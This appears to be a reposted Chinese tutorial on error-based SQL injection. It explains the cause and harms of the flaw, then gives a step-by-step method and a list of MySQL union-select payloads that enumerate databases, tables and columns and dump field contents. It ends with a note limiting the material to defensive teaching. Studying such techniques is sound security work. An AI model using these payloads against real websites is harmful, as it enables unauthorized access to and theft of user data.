Java教程

谈一谈|SQL注入之显错注入

本文主要是介绍谈一谈|SQL注入之显错注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

 

 

 

一、什么是SQL注入:

SQL是结构化查询语言,用于操作关系型数据库管理系统。目前,大多数Web编程语言提供了操作SQL的接口,以方便与数据库进行交互。但是在开发Web应用的过程中,由于忽视了代码的健壮性和安全性,***者可以构造巧妙的SQL语句从而获取到敏感数据,因此导致了SQL这种***方式的流行。

 

二、SQL注入的危害:

(1)***者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

(3)如果网站目录存在写入权限,可以写入网页***。***者进而可以对网页进行篡改,发布一些违法信息等。

(4)经过提权等步骤,服务器最高权限被***者获取。***者可以远程控制服务器,安装后门,得以修改或控制操作系统。

 

三、注入***的本质:

把用户输入的数据当作代码执行。
注入的两个关键条件:
1. 用户能控制输入。
2. 原本程序要执行的代码,拼接了用户输入的数据。

 

四、SQL显错注入基本流程
1. 判断是否存在注入点
and 1=1 页面返回正常
and 1=2 页面返回不正常
URL后加单引号’ “ --+页面返回不正常
or sleep(5)页面5秒钟后正常显示
2. 猜解字段数
利用order by 排序
order by 1 以第一个字段排序

3. 联合查询寻找输出点
union select 1,2,3,4#

4. 输出点使用SQL注入语句
在我们语句2的位置输入要查询数据的语句
union select 1,database()#

 

五、Mysql数据库显错注入常用语句

and 1=1/and 1=2

判断是否存在注入

and 1=1 order by 3

按哪一列进行排序,从而可以确定有多少列

and 1=2 union select 1,2,3

查看页面中显示哪些数字,比如显示2,3

 

and 1=2 union select 1,2,database()

原本显示3的位置会显示数据库名称

 

and 1=2 union select 1,2,version() 

会显示数据库版本

 

and 1=2 union select  1,2,group_concat(table_name) from information_schema.tables where  table_schema= database()

查询当前数据库下的表名

 

and 1=2 union select  1,2,group_concat(column_name) from information_schema.columns where  table_schema=database() and table_name='表名'

查看数据库字段名

 

and 1=2 union select 1,2,group_concat(字段名) from 表名

查看字段内容

 

六、总结

SQL注入漏洞属于高危漏洞,不仅能窃取用户隐私,还可以攻陷服务器危害巨大。由于多方面原因目前仍有少数网站存在此漏洞。学习网络安全不仅是用于***测试,更是提升网站开发人员能力的重要途经。本期主要和大家分享了显错注入的原理和常用命令,下期将给大家带来实战视频。

以上内容仅用于信息技术防御教学,切勿用于其他用途。

 

 

 

 

 


END

 

主  编   |   王楠岚

责  编   |   KeeCTh

 

 where2go 团队


   

微信号:算法与编程之美          

25f58fa0e59e4b958e3857b0959b98c7fb3.jpg

长按识别二维码关注我们!

温馨提示:点击页面右下角“写留言”发表评论,期待您的参与!期待您的转发!

本文分享自微信公众号 - 算法与编程之美(algo_coding)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

这篇关于谈一谈|SQL注入之显错注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!